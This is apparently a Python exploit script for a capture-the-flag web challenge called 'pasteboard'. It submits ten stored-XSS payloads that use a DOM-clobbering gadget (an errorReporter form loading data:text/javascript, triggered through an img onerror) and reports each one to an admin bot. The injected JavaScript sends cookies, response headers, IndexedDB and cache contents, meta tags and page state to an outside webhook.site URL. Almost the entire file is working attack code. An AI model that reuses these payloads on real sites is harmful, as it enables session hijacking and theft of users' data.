#!/usr/bin/env python3
"""
Alternative Data Sources - Tests non-file-based flag locations
"""
import requests
import time
import urllib.parse
from urllib.parse import urljoin


CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078"


def create_and_report(title, payload):
    """Create paste and report to bot"""
    print(f"\n[*] Testing: {title}")

    response = requests.post(
        urljoin(CHALLENGE_URL, "/note/new"),
        data={"title": title, "body": payload},
        allow_redirects=False
    )

    if response.status_code == 302:
        note_path = response.headers.get('Location')
        print(f"[+] Paste: {urljoin(CHALLENGE_URL, note_path)}")

        time.sleep(1)

        report_response = requests.post(
            urljoin(CHALLENGE_URL, "/report"),
            data={"url": note_path}
        )

        if report_response.status_code == 202:
            print(f"[+] Queued!")
            return True
        else:
            print(f"[-] Failed: {report_response.status_code}")
            return False
    return False


print("="*80)
print("🎯 ALTERNATIVE DATA SOURCES TESTER")
print("="*80)
print("Testing non-file locations where flag might be stored")
print("="*80)


# Test 1: Check if cookies are set AFTER page load (delayed check)
code1 = f"""setTimeout(()=>{{
fetch('{WEBHOOK}?method=delayed_cookies_5s&cookies='+encodeURIComponent(document.cookie));
}},5000);
setTimeout(()=>{{
fetch('{WEBHOOK}?method=delayed_cookies_15s&cookies='+encodeURIComponent(document.cookie));
}},15000);
setTimeout(()=>{{
fetch('{WEBHOOK}?method=delayed_cookies_25s&cookies='+encodeURIComponent(document.cookie));
}},25000);"""
payload1 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code1.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 1: Delayed cookie checks", payload1)
time.sleep(12)


# Test 2: Check ALL HTTP headers via fetch to external service
code2 = f"""fetch('{WEBHOOK}',{{
method:'POST',
headers:{{'X-Test':'header-dump'}},
credentials:'include'
}}).then(r=>r.text()).then(d=>{{
fetch('{WEBHOOK}?method=header_reflection&reflected='+encodeURIComponent(d));
}});"""
payload2 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code2.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 2: HTTP header dump", payload2)
time.sleep(12)


# Test 3: Inspect Response headers from current page
code3 = f"""(async()=>{{
try{{
let resp=await fetch(location.href);
let headers={{}};
for(let [k,v] of resp.headers.entries()){{headers[k]=v;}}
await fetch('{WEBHOOK}',{{method:'POST',body:JSON.stringify({{method:'response_headers',headers:headers}})}});
}}catch(e){{
await fetch('{WEBHOOK}?method=response_headers&error='+e.toString());
}}
}})();"""
payload3 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code3.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 3: Response headers", payload3)
time.sleep(12)


# Test 4: Check for Service Worker with flag
code4 = f"""(async()=>{{
if('serviceWorker' in navigator){{
let regs=await navigator.serviceWorker.getRegistrations();
await fetch('{WEBHOOK}',{{method:'POST',body:JSON.stringify({{method:'service_workers',count:regs.length,list:regs.map(r=>r.scope)}})}});
}}else{{
await fetch('{WEBHOOK}?method=service_workers&error=not_supported');
}}
}})();"""
payload4 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code4.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 4: Service workers", payload4)
time.sleep(12)


# Test 5: Check IndexedDB for stored data
code5 = f"""(async()=>{{
try{{
let dbs=await indexedDB.databases();
await fetch('{WEBHOOK}',{{method:'POST',body:JSON.stringify({{method:'indexeddb',databases:dbs}})}});
}}catch(e){{
await fetch('{WEBHOOK}?method=indexeddb&error='+e.toString());
}}
}})();"""
payload5 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code5.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 5: IndexedDB", payload5)
time.sleep(12)


# Test 6: Check Cache Storage
code6 = f"""(async()=>{{
if('caches' in window){{
let keys=await caches.keys();
await fetch('{WEBHOOK}',{{method:'POST',body:JSON.stringify({{method:'cache_storage',caches:keys}})}});
}}else{{
await fetch('{WEBHOOK}?method=cache_storage&error=not_supported');
}}
}})();"""
payload6 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code6.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 6: Cache storage", payload6)
time.sleep(12)


# Test 7: Extract ALL meta tags
code7 = f"""var metas=Array.from(document.querySelectorAll('meta')).map(m=>{{
return{{name:m.name,content:m.content,property:m.property,httpEquiv:m.httpEquiv}};
}});
fetch('{WEBHOOK}',{{method:'POST',body:JSON.stringify({{method:'meta_tags',metas:metas,title:document.title}})}});"""
payload7 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code7.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 7: All meta tags", payload7)
time.sleep(12)


# Test 8: Check for data attributes on body/html
code8 = f"""var bodyData={{}};
for(let attr of document.body.attributes){{
if(attr.name.startsWith('data-'))bodyData[attr.name]=attr.value;
}}
var htmlData={{}};
for(let attr of document.documentElement.attributes){{
if(attr.name.startsWith('data-'))htmlData[attr.name]=attr.value;
}}
fetch('{WEBHOOK}',{{method:'POST',body:JSON.stringify({{method:'data_attributes',body:bodyData,html:htmlData}})}});"""
payload8 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code8.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 8: Data attributes", payload8)
time.sleep(12)


# Test 9: Check Performance API for hidden resources
code9 = f"""var resources=performance.getEntriesByType('resource').map(r=>{{
return{{name:r.name,type:r.initiatorType,duration:r.duration}};
}});
fetch('{WEBHOOK}',{{method:'POST',body:JSON.stringify({{method:'performance_resources',count:resources.length,resources:resources.slice(0,20)}})}}); """
payload9 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code9.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 9: Performance resources", payload9)
time.sleep(12)


# Test 10: Dump complete document state
code10 = f"""var state={{
readyState:document.readyState,
referrer:document.referrer,
domain:document.domain,
origin:location.origin,
baseURI:document.baseURI,
characterSet:document.characterSet,
contentType:document.contentType,
scripts:document.scripts.length,
stylesheets:document.styleSheets.length,
images:document.images.length
}};
fetch('{WEBHOOK}',{{method:'POST',body:JSON.stringify({{method:'document_state',state:state}})}});"""
payload10 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code10.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 10: Document state", payload10)


print("\n" + "="*80)
print("✅ ALL ALTERNATIVE TESTS QUEUED")
print("="*80)
print(f"📊 Check webhook: {WEBHOOK}")
print("="*80)
print("\nLooking for:")
print("  - Delayed cookie appearance (5s, 15s, 25s)")
print("  - HTTP headers with flag")
print("  - Service workers with data")
print("  - IndexedDB databases")
print("  - Cache storage entries")
print("  - Meta tags with flag")
print("  - Data attributes")
print("  - Performance API resources")
print("="*80)
